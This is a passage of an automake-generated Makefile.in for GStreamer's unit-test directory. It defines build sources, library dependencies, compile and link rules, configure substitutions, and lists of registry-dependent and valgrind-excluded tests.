am__DEPENDENCIES_2 = $(top_builddir)/libs/gst/check/libgstcheck-@GST_MAJORMINOR@.la \ $(top_builddir)/libs/gst/base/libgstbase-@GST_MAJORMINOR@.la \ $(am__DEPENDENCIES_1) gst_gstutils_DEPENDENCIES = $(am__DEPENDENCIES_2) \ $(am__DEPENDENCIES_1) $(am__DEPENDENCIES_1) gst_gstvalue_SOURCES = gst/gstvalue.c gst_gstvalue_OBJECTS = gstvalue.$(OBJEXT) gst_gstvalue_LDADD = $(LDADD) gst_gstvalue_DEPENDENCIES = $(top_builddir)/libs/gst/check/libgstcheck-@GST_MAJORMINOR@.la \ $(top_builddir)/libs/gst/base/libgstbase-@GST_MAJORMINOR@.la \ $(am__DEPENDENCIES_1) libs_adapter_SOURCES = libs/adapter.c libs_adapter_OBJECTS = adapter.$(OBJEXT) libs_adapter_LDADD = $(LDADD) libs_adapter_DEPENDENCIES = $(top_builddir)/libs/gst/check/libgstcheck-@GST_MAJORMINOR@.la \ $(top_builddir)/libs/gst/base/libgstbase-@GST_MAJORMINOR@.la \ $(am__DEPENDENCIES_1) libs_basesink_SOURCES = libs/basesink.c libs_basesink_OBJECTS = basesink.$(OBJEXT) libs_basesink_LDADD = $(LDADD) libs_basesink_DEPENDENCIES = $(top_builddir)/libs/gst/check/libgstcheck-@GST_MAJORMINOR@.la \ $(top_builddir)/libs/gst/base/libgstbase-@GST_MAJORMINOR@.la \ $(am__DEPENDENCIES_1) libs_basesrc_SOURCES = libs/basesrc.c libs_basesrc_OBJECTS = basesrc.$(OBJEXT) libs_basesrc_LDADD = $(LDADD) libs_basesrc_DEPENDENCIES = $(top_builddir)/libs/gst/check/libgstcheck-@GST_MAJORMINOR@.la \ $(top_builddir)/libs/gst/base/libgstbase-@GST_MAJORMINOR@.la \ $(am__DEPENDENCIES_1) libs_bitreader_SOURCES = libs/bitreader.c libs_bitreader_OBJECTS = bitreader.$(OBJEXT) libs_bitreader_LDADD = $(LDADD) libs_bitreader_DEPENDENCIES = $(top_builddir)/libs/gst/check/libgstcheck-@GST_MAJORMINOR@.la \ $(top_builddir)/libs/gst/base/libgstbase-@GST_MAJORMINOR@.la \ $(am__DEPENDENCIES_1) libs_bytereader_SOURCES = libs/bytereader.c libs_bytereader_OBJECTS = bytereader.$(OBJEXT) libs_bytereader_LDADD = $(LDADD) libs_bytereader_DEPENDENCIES = $(top_builddir)/libs/gst/check/libgstcheck-@GST_MAJORMINOR@.la \ $(top_builddir)/libs/gst/base/libgstbase-@GST_MAJORMINOR@.la \ $(am__DEPENDENCIES_1) libs_bytewriter_SOURCES = libs/bytewriter.c libs_bytewriter_OBJECTS = bytewriter.$(OBJEXT) libs_bytewriter_LDADD = $(LDADD) libs_bytewriter_DEPENDENCIES = $(top_builddir)/libs/gst/check/libgstcheck-@GST_MAJORMINOR@.la \ $(top_builddir)/libs/gst/base/libgstbase-@GST_MAJORMINOR@.la \ $(am__DEPENDENCIES_1) libs_collectpads_SOURCES = libs/collectpads.c libs_collectpads_OBJECTS = collectpads.$(OBJEXT) libs_collectpads_LDADD = $(LDADD) libs_collectpads_DEPENDENCIES = $(top_builddir)/libs/gst/check/libgstcheck-@GST_MAJORMINOR@.la \ $(top_builddir)/libs/gst/base/libgstbase-@GST_MAJORMINOR@.la \ $(am__DEPENDENCIES_1) libs_controller_SOURCES = libs/controller.c libs_controller_OBJECTS = controller.$(OBJEXT) libs_controller_DEPENDENCIES = $(top_builddir)/libs/gst/controller/libgstcontroller-@GST_MAJORMINOR@.la \ $(am__DEPENDENCIES_2) am_libs_gdp_OBJECTS = libs_gdp-gdp.$(OBJEXT) libs_gdp_OBJECTS = $(am_libs_gdp_OBJECTS) libs_gdp_DEPENDENCIES = $(top_builddir)/libs/gst/dataprotocol/libgstdataprotocol-@GST_MAJORMINOR@.la \ $(am__DEPENDENCIES_2) libs_gdp_LINK = $(LIBTOOL) $(AM_V_lt) --tag=CC $(AM_LIBTOOLFLAGS) \ $(LIBTOOLFLAGS) --mode=link $(CCLD) $(libs_gdp_CFLAGS) \ $(CFLAGS) $(AM_LDFLAGS) $(LDFLAGS) -o $@ libs_gstnetclientclock_SOURCES = libs/gstnetclientclock.c libs_gstnetclientclock_OBJECTS = gstnetclientclock.$(OBJEXT) libs_gstnetclientclock_DEPENDENCIES = \ $(top_builddir)/libs/gst/net/libgstnet-@GST_MAJORMINOR@.la \ $(am__DEPENDENCIES_2) libs_gstnettimeprovider_SOURCES = libs/gstnettimeprovider.c libs_gstnettimeprovider_OBJECTS = gstnettimeprovider.$(OBJEXT) libs_gstnettimeprovider_DEPENDENCIES = \ $(top_builddir)/libs/gst/net/libgstnet-@GST_MAJORMINOR@.la \ $(am__DEPENDENCIES_2) libs_libsabi_SOURCES = libs/libsabi.c libs_libsabi_OBJECTS = libsabi.$(OBJEXT) libs_libsabi_LDADD = $(LDADD) libs_libsabi_DEPENDENCIES = $(top_builddir)/libs/gst/check/libgstcheck-@GST_MAJORMINOR@.la \ $(top_builddir)/libs/gst/base/libgstbase-@GST_MAJORMINOR@.la \ $(am__DEPENDENCIES_1) libs_transform1_SOURCES = libs/transform1.c libs_transform1_OBJECTS = transform1.$(OBJEXT) libs_transform1_LDADD = $(LDADD) libs_transform1_DEPENDENCIES = $(top_builddir)/libs/gst/check/libgstcheck-@GST_MAJORMINOR@.la \ $(top_builddir)/libs/gst/base/libgstbase-@GST_MAJORMINOR@.la \ $(am__DEPENDENCIES_1) libs_typefindhelper_SOURCES = libs/typefindhelper.c libs_typefindhelper_OBJECTS = typefindhelper.$(OBJEXT) libs_typefindhelper_LDADD = $(LDADD) libs_typefindhelper_DEPENDENCIES = $(top_builddir)/libs/gst/check/libgstcheck-@GST_MAJORMINOR@.la \ $(top_builddir)/libs/gst/base/libgstbase-@GST_MAJORMINOR@.la \ $(am__DEPENDENCIES_1) pipelines_cleanup_SOURCES = pipelines/cleanup.c pipelines_cleanup_OBJECTS = cleanup.$(OBJEXT) pipelines_cleanup_LDADD = $(LDADD) pipelines_cleanup_DEPENDENCIES = $(top_builddir)/libs/gst/check/libgstcheck-@GST_MAJORMINOR@.la \ $(top_builddir)/libs/gst/base/libgstbase-@GST_MAJORMINOR@.la \ $(am__DEPENDENCIES_1) pipelines_parse_disabled_SOURCES = pipelines/parse-disabled.c pipelines_parse_disabled_OBJECTS = parse-disabled.$(OBJEXT) pipelines_parse_disabled_LDADD = $(LDADD) pipelines_parse_disabled_DEPENDENCIES = $(top_builddir)/libs/gst/check/libgstcheck-@GST_MAJORMINOR@.la \ $(top_builddir)/libs/gst/base/libgstbase-@GST_MAJORMINOR@.la \ $(am__DEPENDENCIES_1) pipelines_parse_launch_SOURCES = pipelines/parse-launch.c pipelines_parse_launch_OBJECTS = parse-launch.$(OBJEXT) pipelines_parse_launch_LDADD = $(LDADD) pipelines_parse_launch_DEPENDENCIES = $(top_builddir)/libs/gst/check/libgstcheck-@GST_MAJORMINOR@.la \ $(top_builddir)/libs/gst/base/libgstbase-@GST_MAJORMINOR@.la \ $(am__DEPENDENCIES_1) pipelines_queue_error_SOURCES = pipelines/queue-error.c pipelines_queue_error_OBJECTS = queue-error.$(OBJEXT) pipelines_queue_error_LDADD = $(LDADD) pipelines_queue_error_DEPENDENCIES = $(top_builddir)/libs/gst/check/libgstcheck-@GST_MAJORMINOR@.la \ $(top_builddir)/libs/gst/base/libgstbase-@GST_MAJORMINOR@.la \ $(am__DEPENDENCIES_1) pipelines_simple_launch_lines_SOURCES = \ pipelines/simple-launch-lines.c pipelines_simple_launch_lines_OBJECTS = simple-launch-lines.$(OBJEXT) pipelines_simple_launch_lines_LDADD = $(LDADD) pipelines_simple_launch_lines_DEPENDENCIES = $(top_builddir)/libs/gst/check/libgstcheck-@GST_MAJORMINOR@.la \ $(top_builddir)/libs/gst/base/libgstbase-@GST_MAJORMINOR@.la \ $(am__DEPENDENCIES_1) pipelines_stress_SOURCES = pipelines/stress.c pipelines_stress_OBJECTS = stress.$(OBJEXT) pipelines_stress_LDADD = $(LDADD) pipelines_stress_DEPENDENCIES = $(top_builddir)/libs/gst/check/libgstcheck-@GST_MAJORMINOR@.la \ $(top_builddir)/libs/gst/base/libgstbase-@GST_MAJORMINOR@.la \ $(am__DEPENDENCIES_1) DEFAULT_INCLUDES = -I.@am__isrc@ -I$(top_builddir) depcomp = $(SHELL) $(top_srcdir)/depcomp am__depfiles_maybe = depfiles am__mv = mv -f COMPILE = $(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(AM_CPPFLAGS) \ $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) LTCOMPILE = $(LIBTOOL) $(AM_V_lt) --tag=CC $(AM_LIBTOOLFLAGS) \ $(LIBTOOLFLAGS) --mode=compile $(CC) $(DEFS) \ $(DEFAULT_INCLUDES) $(INCLUDES) $(AM_CPPFLAGS) $(CPPFLAGS) \ $(AM_CFLAGS) $(CFLAGS) AM_V_CC = $(am__v_CC_$(V)) am__v_CC_ = $(am__v_CC_$(AM_DEFAULT_VERBOSITY)) am__v_CC_0 = @echo " CC " $@; AM_V_at = $(am__v_at_$(V)) am__v_at_ = $(am__v_at_$(AM_DEFAULT_VERBOSITY)) am__v_at_0 = @ CCLD = $(CC) LINK = $(LIBTOOL) $(AM_V_lt) --tag=CC $(AM_LIBTOOLFLAGS) \ $(LIBTOOLFLAGS) --mode=link $(CCLD) $(AM_CFLAGS) $(CFLAGS) \ $(AM_LDFLAGS) $(LDFLAGS) -o $@ AM_V_CCLD = $(am__v_CCLD_$(V)) am__v_CCLD_ = $(am__v_CCLD_$(AM_DEFAULT_VERBOSITY)) am__v_CCLD_0 = @echo " CCLD " $@; AM_V_GEN = $(am__v_GEN_$(V)) am__v_GEN_ = $(am__v_GEN_$(AM_DEFAULT_VERBOSITY)) am__v_GEN_0 = @echo " GEN " $@; SOURCES = elements/capsfilter.c elements/fakesink.c elements/fakesrc.c \ elements/fdsrc.c elements/filesink.c elements/filesrc.c \ elements/identity.c elements/multiqueue.c elements/queue.c \ elements/tee.c generic/sinks.c generic/states.c gst/gst.c \ gst/gstabi.c gst/gstbin.c gst/gstbuffer.c gst/gstbufferlist.c \ gst/gstbus.c gst/gstcaps.c gst/gstchildproxy.c gst/gstclock.c \ gst/gstelement.c gst/gstevent.c gst/gstghostpad.c \ gst/gstindex.c gst/gstinfo.c gst/gstinterface.c \ gst/gstiterator.c gst/gstmessage.c gst/gstminiobject.c \ gst/gstobject.c gst/gstpad.c gst/gstparamspecs.c \ gst/gstpipeline.c gst/gstplugin.c gst/gstpoll.c \ gst/gstpreset.c gst/gstquery.c gst/gstregistry.c \ gst/gstsegment.c gst/gststructure.c gst/gstsystemclock.c \ gst/gsttag.c gst/gsttagsetter.c gst/gsttask.c gst/gsturi.c \ gst/gstutils.c gst/gstvalue.c libs/adapter.c libs/basesink.c \ libs/basesrc.c libs/bitreader.c libs/bytereader.c \ libs/bytewriter.c libs/collectpads.c libs/controller.c \ $(libs_gdp_SOURCES) libs/gstnetclientclock.c \ libs/gstnettimeprovider.c libs/libsabi.c libs/transform1.c \ libs/typefindhelper.c pipelines/cleanup.c \ pipelines/parse-disabled.c pipelines/parse-launch.c \ pipelines/queue-error.c pipelines/simple-launch-lines.c \ pipelines/stress.c DIST_SOURCES = elements/capsfilter.c elements/fakesink.c \ elements/fakesrc.c elements/fdsrc.c elements/filesink.c \ elements/filesrc.c elements/identity.c elements/multiqueue.c \ elements/queue.c elements/tee.c generic/sinks.c \ generic/states.c gst/gst.c gst/gstabi.c gst/gstbin.c \ gst/gstbuffer.c gst/gstbufferlist.c gst/gstbus.c gst/gstcaps.c \ gst/gstchildproxy.c gst/gstclock.c gst/gstelement.c \ gst/gstevent.c gst/gstghostpad.c gst/gstindex.c gst/gstinfo.c \ gst/gstinterface.c gst/gstiterator.c gst/gstmessage.c \ gst/gstminiobject.c gst/gstobject.c gst/gstpad.c \ gst/gstparamspecs.c gst/gstpipeline.c gst/gstplugin.c \ gst/gstpoll.c gst/gstpreset.c gst/gstquery.c gst/gstregistry.c \ gst/gstsegment.c gst/gststructure.c gst/gstsystemclock.c \ gst/gsttag.c gst/gsttagsetter.c gst/gsttask.c gst/gsturi.c \ gst/gstutils.c gst/gstvalue.c libs/adapter.c libs/basesink.c \ libs/basesrc.c libs/bitreader.c libs/bytereader.c \ libs/bytewriter.c libs/collectpads.c libs/controller.c \ $(libs_gdp_SOURCES) libs/gstnetclientclock.c \ libs/gstnettimeprovider.c libs/libsabi.c libs/transform1.c \ libs/typefindhelper.c pipelines/cleanup.c \ pipelines/parse-disabled.c pipelines/parse-launch.c \ pipelines/queue-error.c pipelines/simple-launch-lines.c \ pipelines/stress.c HEADERS = $(noinst_HEADERS) ETAGS = etags CTAGS = ctags am__tty_colors = \ red=; grn=; lgn=; blu=; std= DISTFILES = $(DIST_COMMON) $(DIST_SOURCES) $(TEXINFOS) $(EXTRA_DIST) ACLOCAL = @ACLOCAL@ ACLOCAL_AMFLAGS = @ACLOCAL_AMFLAGS@ AMTAR = @AMTAR@ AM_DEFAULT_VERBOSITY = @AM_DEFAULT_VERBOSITY@ AR = @AR@ AS = @AS@ AUTOCONF = @AUTOCONF@ AUTOHEADER = @AUTOHEADER@ AUTOMAKE = @AUTOMAKE@ AWK = @AWK@ BISON_PATH = @BISON_PATH@ CAT_ENTRY_END = @CAT_ENTRY_END@ CAT_ENTRY_START = @CAT_ENTRY_START@ CC = @CC@ CCAS = @CCAS@ CCASDEPMODE = @CCASDEPMODE@ CCASFLAGS = @CCASFLAGS@ CCDEPMODE = @CCDEPMODE@ CFLAGS = @CFLAGS@ CHECK_MAJOR_VERSION = @CHECK_MAJOR_VERSION@ CHECK_MICRO_VERSION = @CHECK_MICRO_VERSION@ CHECK_MINOR_VERSION = @CHECK_MINOR_VERSION@ CHECK_VERSION = @CHECK_VERSION@ CPP = @CPP@ CPPFLAGS = @CPPFLAGS@ CXXFLAGS = @CXXFLAGS@ CYGPATH_W = @CYGPATH_W@ DATADIR = @DATADIR@ DEFS = @DEFS@ DEPDIR = @DEPDIR@ DEPRECATED_CFLAGS = @DEPRECATED_CFLAGS@ DLLTOOL = @DLLTOOL@ DOCBOOK_ROOT = @DOCBOOK_ROOT@ DSYMUTIL = @DSYMUTIL@ DUMPBIN = @DUMPBIN@ ECHO_C = @ECHO_C@ ECHO_N = @ECHO_N@ ECHO_T = @ECHO_T@ EGREP = @EGREP@ ENABLE_SUBUNIT = @ENABLE_SUBUNIT@ ERROR_CFLAGS = @ERROR_CFLAGS@ EXEEXT = @EXEEXT@ FFLAGS = @FFLAGS@ FGREP = @FGREP@ FLEX_PATH = @FLEX_PATH@ GCOV = @GCOV@ GCOV_CFLAGS = @GCOV_CFLAGS@ GCOV_LIBS = @GCOV_LIBS@ GETTEXT_MACRO_VERSION = @GETTEXT_MACRO_VERSION@ GETTEXT_PACKAGE = @GETTEXT_PACKAGE@ GLIB_CFLAGS = @GLIB_CFLAGS@ GLIB_LIBS = @GLIB_LIBS@ GLIB_ONLY_CFLAGS = @GLIB_ONLY_CFLAGS@ GLIB_ONLY_LIBS = @GLIB_ONLY_LIBS@ GLIB_PREFIX = @GLIB_PREFIX@ GLIB_REQ = @GLIB_REQ@ GMP_LIBS = @GMP_LIBS@ GMSGFMT = @GMSGFMT@ GMSGFMT_015 = @GMSGFMT_015@ GREP = @GREP@ GSL_LIBS = @GSL_LIBS@ GST_AGE = @GST_AGE@ GST_ALL_CFLAGS = @GST_ALL_CFLAGS@ GST_ALL_LDFLAGS = @GST_ALL_LDFLAGS@ GST_ALL_LIBS = @GST_ALL_LIBS@ GST_CURRENT = @GST_CURRENT@ GST_DISABLE_ALLOC_TRACE_DEFINE = @GST_DISABLE_ALLOC_TRACE_DEFINE@ GST_DISABLE_GST_DEBUG_DEFINE = @GST_DISABLE_GST_DEBUG_DEFINE@ GST_DISABLE_LOADSAVE_DEFINE = @GST_DISABLE_LOADSAVE_DEFINE@ GST_DISABLE_NET_DEFINE = @GST_DISABLE_NET_DEFINE@ GST_DISABLE_OPTION_PARSING_DEFINE = @GST_DISABLE_OPTION_PARSING_DEFINE@ GST_DISABLE_PARSE_DEFINE = @GST_DISABLE_PARSE_DEFINE@ GST_DISABLE_PLUGIN_DEFINE = @GST_DISABLE_PLUGIN_DEFINE@ GST_DISABLE_REGISTRY_DEFINE = @GST_DISABLE_REGISTRY_DEFINE@ GST_DISABLE_TRACE_DEFINE = @GST_DISABLE_TRACE_DEFINE@ GST_DISABLE_XML_DEFINE = @GST_DISABLE_XML_DEFINE@ GST_HAVE_GLIB_2_8_DEFINE = @GST_HAVE_GLIB_2_8_DEFINE@ GST_HAVE_MONOTONIC_CLOCK_DEFINE = @GST_HAVE_MONOTONIC_CLOCK_DEFINE@ GST_HAVE_POSIX_TIMERS_DEFINE = @GST_HAVE_POSIX_TIMERS_DEFINE@ GST_HAVE_UNALIGNED_ACCESS_DEFINE = @GST_HAVE_UNALIGNED_ACCESS_DEFINE@ GST_LEVEL_DEFAULT = @GST_LEVEL_DEFAULT@ GST_LIBVERSION = @GST_LIBVERSION@ GST_LIB_LDFLAGS = @GST_LIB_LDFLAGS@ GST_LICENSE = @GST_LICENSE@ GST_LOADSAVE_DOC_TYPES = @GST_LOADSAVE_DOC_TYPES@ GST_LT_LDFLAGS = @GST_LT_LDFLAGS@ GST_MAJORMINOR = @GST_MAJORMINOR@ GST_OBJ_CFLAGS = @GST_OBJ_CFLAGS@ GST_OBJ_LIBS = @GST_OBJ_LIBS@ GST_OPTION_CFLAGS = @GST_OPTION_CFLAGS@ GST_PACKAGE_NAME = @GST_PACKAGE_NAME@ GST_PACKAGE_ORIGIN = @GST_PACKAGE_ORIGIN@ GST_PKG_DEPS = @GST_PKG_DEPS@ GST_PLUGIN_LDFLAGS = @GST_PLUGIN_LDFLAGS@ GST_PLUGIN_SCANNER_INSTALLED = @GST_PLUGIN_SCANNER_INSTALLED@ GST_PRINTF_EXTENSION_POINTER_FORMAT_DEFINE = @GST_PRINTF_EXTENSION_POINTER_FORMAT_DEFINE@ GST_PRINTF_EXTENSION_SEGMENT_FORMAT_DEFINE = @GST_PRINTF_EXTENSION_SEGMENT_FORMAT_DEFINE@ GST_REGISTRY_DOC_TYPES = @GST_REGISTRY_DOC_TYPES@ GST_REVISION = @GST_REVISION@ GST_USING_PRINTF_EXTENSION_DEFINE = @GST_USING_PRINTF_EXTENSION_DEFINE@ GTKDOC_CHECK = @GTKDOC_CHECK@ HAVE_DOCBOOK2HTML = @HAVE_DOCBOOK2HTML@ HAVE_DOCBOOK2PS = @HAVE_DOCBOOK2PS@ HAVE_DVIPS = @HAVE_DVIPS@ HAVE_EPSTOPDF = @HAVE_EPSTOPDF@ HAVE_FIG2DEV = @HAVE_FIG2DEV@ HAVE_GMP = @HAVE_GMP@ HAVE_GSL = @HAVE_GSL@ HAVE_JADETEX = @HAVE_JADETEX@ HAVE_PNGTOPNM = @HAVE_PNGTOPNM@ HAVE_PNMTOPS = @HAVE_PNMTOPS@ HAVE_PS2PDF = @HAVE_PS2PDF@ HAVE_XMLLINT = @HAVE_XMLLINT@ HOST_CPU = @HOST_CPU@ HTML_DIR = @HTML_DIR@ INET_ATON_LIBS = @INET_ATON_LIBS@ INSTALL = @INSTALL@ INSTALL_DATA = @INSTALL_DATA@ INSTALL_PROGRAM = @INSTALL_PROGRAM@ INSTALL_SCRIPT = @INSTALL_SCRIPT@ INSTALL_STRIP_PROGRAM = @INSTALL_STRIP_PROGRAM@ INTLLIBS = @INTLLIBS@ INTL_MACOSX_LIBS = @INTL_MACOSX_LIBS@ INTROSPECTION_COMPILER = @INTROSPECTION_COMPILER@ INTROSPECTION_GENERATE = @INTROSPECTION_GENERATE@ INTROSPECTION_GIRDIR = @INTROSPECTION_GIRDIR@ INTROSPECTION_SCANNER = @INTROSPECTION_SCANNER@ INTROSPECTION_TYPELIBDIR = @INTROSPECTION_TYPELIBDIR@ LD = @LD@ LDFLAGS = @LDFLAGS@ LIBDIR = @LIBDIR@ LIBICONV = @LIBICONV@ LIBINTL = @LIBINTL@ LIBM = @LIBM@ LIBOBJS = @LIBOBJS@ LIBS = @LIBS@ LIBTOOL = @LIBTOOL@ LIBXML2_REQ = @LIBXML2_REQ@ LIBXML_PKG = @LIBXML_PKG@ LIPO = @LIPO@ LN_S = @LN_S@ LOCALEDIR = @LOCALEDIR@ LTLIBICONV = @LTLIBICONV@ LTLIBINTL = @LTLIBINTL@ LTLIBOBJS = @LTLIBOBJS@ MAINT = @MAINT@ MAKEINFO = @MAKEINFO@ MKDIR_P = @MKDIR_P@ MSGFMT = @MSGFMT@ MSGFMT_015 = @MSGFMT_015@ MSGMERGE = @MSGMERGE@ NM = @NM@ NMEDIT = @NMEDIT@ OBJDUMP = @OBJDUMP@ OBJEXT = @OBJEXT@ OTOOL = @OTOOL@ OTOOL64 = @OTOOL64@ PACKAGE = @PACKAGE@ PACKAGE_BUGREPORT = @PACKAGE_BUGREPORT@ PACKAGE_NAME = @PACKAGE_NAME@ PACKAGE_STRING = @PACKAGE_STRING@ PACKAGE_TARNAME = @PACKAGE_TARNAME@ PACKAGE_URL = @PACKAGE_URL@ PACKAGE_VERSION = @PACKAGE_VERSION@ PACKAGE_VERSION_MAJOR = @PACKAGE_VERSION_MAJOR@ PACKAGE_VERSION_MICRO = @PACKAGE_VERSION_MICRO@ PACKAGE_VERSION_MINOR = @PACKAGE_VERSION_MINOR@ PACKAGE_VERSION_NANO = @PACKAGE_VERSION_NANO@ PACKAGE_VERSION_RELEASE = @PACKAGE_VERSION_RELEASE@ PATH_SEPARATOR = @PATH_SEPARATOR@ PERL_PATH = @PERL_PATH@ PKG_CONFIG = @PKG_CONFIG@ PLUGINDIR = @PLUGINDIR@ POSUB = @POSUB@ PROFILE_CFLAGS = @PROFILE_CFLAGS@ PYTHON = @PYTHON@ PYTHON_EXEC_PREFIX = @PYTHON_EXEC_PREFIX@ PYTHON_PLATFORM = @PYTHON_PLATFORM@ PYTHON_PREFIX = @PYTHON_PREFIX@ PYTHON_VERSION = @PYTHON_VERSION@ RANLIB = @RANLIB@ SED = @SED@ SET_MAKE = @SET_MAKE@ SHELL = @SHELL@ STRIP = @STRIP@ USE_NLS = @USE_NLS@ VALGRIND_CFLAGS = @VALGRIND_CFLAGS@ VALGRIND_LIBS = @VALGRIND_LIBS@ VALGRIND_PATH = @VALGRIND_PATH@ VERSION = @VERSION@ WARNING_CFLAGS = @WARNING_CFLAGS@ WIN32_LIBS = @WIN32_LIBS@ XGETTEXT = @XGETTEXT@ XGETTEXT_015 = @XGETTEXT_015@ XGETTEXT_EXTRA_OPTIONS = @XGETTEXT_EXTRA_OPTIONS@ XML_CATALOG = @XML_CATALOG@ XML_CFLAGS = @XML_CFLAGS@ XML_LIBS = @XML_LIBS@ XSLTPROC = @XSLTPROC@ XSLTPROC_FLAGS = @XSLTPROC_FLAGS@ abs_builddir = @abs_builddir@ abs_srcdir = @abs_srcdir@ abs_top_builddir = @abs_top_builddir@ abs_top_srcdir = @abs_top_srcdir@ ac_ct_CC = @ac_ct_CC@ ac_ct_DUMPBIN = @ac_ct_DUMPBIN@ am__include = @am__include@ am__leading_dot = @am__leading_dot@ am__quote = @am__quote@ am__tar = @am__tar@ am__untar = @am__untar@ bindir = @bindir@ build = @build@ build_alias = @build_alias@ build_cpu = @build_cpu@ build_os = @build_os@ build_vendor = @build_vendor@ builddir = @builddir@ datadir = @datadir@ datarootdir = @datarootdir@ docdir = @docdir@ dvidir = @dvidir@ exec_prefix = @exec_prefix@ host = @host@ host_alias = @host_alias@ host_cpu = @host_cpu@ host_os = @host_os@ host_vendor = @host_vendor@ htmldir = @htmldir@ includedir = @includedir@ infodir = @infodir@ install_sh = @install_sh@ libdir = @libdir@ libexecdir = @libexecdir@ localedir = @localedir@ localstatedir = @localstatedir@ lt_ECHO = @lt_ECHO@ mandir = @mandir@ mkdir_p = @mkdir_p@ oldincludedir = @oldincludedir@ pdfdir = @pdfdir@ pkgpyexecdir = @pkgpyexecdir@ pkgpythondir = @pkgpythondir@ plugindir = $(libdir)/gstreamer-@GST_MAJORMINOR@ prefix = @prefix@ program_transform_name = @program_transform_name@ psdir = @psdir@ pyexecdir = @pyexecdir@ pythondir = @pythondir@ sbindir = @sbindir@ sharedstatedir = @sharedstatedir@ srcdir = @srcdir@ sysconfdir = @sysconfdir@ target_alias = @target_alias@ top_build_prefix = @top_build_prefix@ top_builddir = @top_builddir@ top_srcdir = @top_srcdir@ LOOPS = 10 # inspect every plugin feature GST_INSPECT = $(GST_TOOLS_DIR)/gst-inspect-$(GST_MAJORMINOR) CHECK_REGISTRY = $(top_builddir)/tests/check/test-registry.reg GST_TOOLS_DIR = $(top_builddir)/tools REGISTRY_ENVIRONMENT = \ GST_REGISTRY=$(CHECK_REGISTRY) TESTS_ENVIRONMENT = \ STATE_IGNORE_ELEMENTS="$(STATE_IGNORE_ELEMENTS)" \ $(REGISTRY_ENVIRONMENT) \ GST_PLUGIN_SCANNER=$(top_builddir)/libs/gst/helpers/gst-plugin-scanner \ GST_PLUGIN_SYSTEM_PATH= \ GST_PLUGIN_PATH=$(top_builddir)/plugins # the core dumps of some machines have PIDs appended, test registry and # profiling data CLEANFILES = core core.* test-registry.* *.gcno *.gcda SUPPRESSIONS = $(top_srcdir)/common/gst.supp @GST_DISABLE_PARSE_FALSE@PARSE_CHECKS = pipelines/simple-launch-lines pipelines/cleanup pipelines/parse-launch @GST_DISABLE_PARSE_TRUE@PARSE_CHECKS = pipelines/parse-disabled @GST_DISABLE_REGISTRY_FALSE@REGISTRY_CHECKS = \ @GST_DISABLE_REGISTRY_FALSE@ gst/gst \ @GST_DISABLE_REGISTRY_FALSE@ gst/gstbin \ @GST_DISABLE_REGISTRY_FALSE@ gst/gstchildproxy \ @GST_DISABLE_REGISTRY_FALSE@ gst/gstelement \ @GST_DISABLE_REGISTRY_FALSE@ gst/gstevent \ @GST_DISABLE_REGISTRY_FALSE@ gst/gstghostpad \ @GST_DISABLE_REGISTRY_FALSE@ gst/gstindex \ @GST_DISABLE_REGISTRY_FALSE@ gst/gstinterface \ @GST_DISABLE_REGISTRY_FALSE@ gst/gstplugin \ @GST_DISABLE_REGISTRY_FALSE@ gst/gstpreset \ @GST_DISABLE_REGISTRY_FALSE@ gst/gstquery \ @GST_DISABLE_REGISTRY_FALSE@ gst/gstregistry \ @GST_DISABLE_REGISTRY_FALSE@ gst/gsturi \ @GST_DISABLE_REGISTRY_FALSE@ gst/gstutils \ @GST_DISABLE_REGISTRY_FALSE@ generic/sinks \ @GST_DISABLE_REGISTRY_FALSE@ elements/capsfilter \ @GST_DISABLE_REGISTRY_FALSE@ elements/fakesink \ @GST_DISABLE_REGISTRY_FALSE@ elements/fakesrc \ @GST_DISABLE_REGISTRY_FALSE@ elements/fdsrc \ @GST_DISABLE_REGISTRY_FALSE@ elements/filesink \ @GST_DISABLE_REGISTRY_FALSE@ elements/filesrc \ @GST_DISABLE_REGISTRY_FALSE@ elements/identity \ @GST_DISABLE_REGISTRY_FALSE@ elements/multiqueue \ @GST_DISABLE_REGISTRY_FALSE@ elements/tee \ @GST_DISABLE_REGISTRY_FALSE@ libs/basesrc \ @GST_DISABLE_REGISTRY_FALSE@ libs/basesink \ @GST_DISABLE_REGISTRY_FALSE@ libs/controller \ @GST_DISABLE_REGISTRY_FALSE@ libs/typefindhelper \ @GST_DISABLE_REGISTRY_FALSE@ pipelines/stress \ @GST_DISABLE_REGISTRY_FALSE@ pipelines/queue-error # if it's calling gst_element_factory_make(), it will probably not work without # a registry @GST_DISABLE_REGISTRY_TRUE@REGISTRY_CHECKS = # elements to ignore for the state tests # STATE_IGNORE_ELEMENTS = TESTS = $(check_PROGRAMS) noinst_HEADERS = \ gst/capslist.h \ gst/struct_i386.h \ gst/struct_hppa.h \ gst/struct_ppc32.h \ gst/struct_ppc64.h \ gst/struct_sparc.h \ gst/struct_x86_64.h \ libs/struct_i386.h \ libs/struct_hppa.h \ libs/struct_ppc32.h \ libs/struct_ppc64.h \ libs/struct_sparc.h \ libs/struct_x86_64.h EXTRA_DIST = \ libs/test_transform.c AM_CFLAGS = $(GST_OBJ_CFLAGS) LDADD = $(top_builddir)/libs/gst/check/libgstcheck-@GST_MAJORMINOR@.la \ $(top_builddir)/libs/gst/base/libgstbase-@GST_MAJORMINOR@.la \ $(GST_OBJ_LIBS) gst_gstutils_LDADD = $(LDADD) $(GSL_LIBS) $(GMP_LIBS) libs_gdp_SOURCES = \ libs/gdp.c libs_gdp_CFLAGS = $(AM_CFLAGS) libs_gdp_LDADD = \ $(top_builddir)/libs/gst/dataprotocol/libgstdataprotocol-@GST_MAJORMINOR@.la \ $(LDADD) elements_fdsrc_CFLAGS = $(GST_OBJ_CFLAGS) -DTESTFILE=\"$(top_srcdir)/configure.ac\" elements_filesrc_CFLAGS = $(GST_OBJ_CFLAGS) -DTESTFILE=\"$(top_srcdir)/configure.ac\" libs_controller_LDADD = \ $(top_builddir)/libs/gst/controller/libgstcontroller-@GST_MAJORMINOR@.la \ $(LDADD) libs_gstnetclientclock_LDADD = \ $(top_builddir)/libs/gst/net/libgstnet-@GST_MAJORMINOR@.la \ $(LDADD) libs_gstnettimeprovider_LDADD = \ $(top_builddir)/libs/gst/net/libgstnet-@GST_MAJORMINOR@.la \ $(LDADD) # valgrind testing # these just need valgrind fixing, period VALGRIND_TO_FIX = \ gst/gstinfo \ libs/collectpads \ pipelines/parse-launch VALGRIND_IGNORE = \ pipelines/stress # these need fixing because the threads cause segfaults under valgrind TESTS_THREADED = \ gst/gstminiobject \ gst/gstobject VALGRIND_TESTS_DISABLE = \ $(TESTS_THREADED) \ 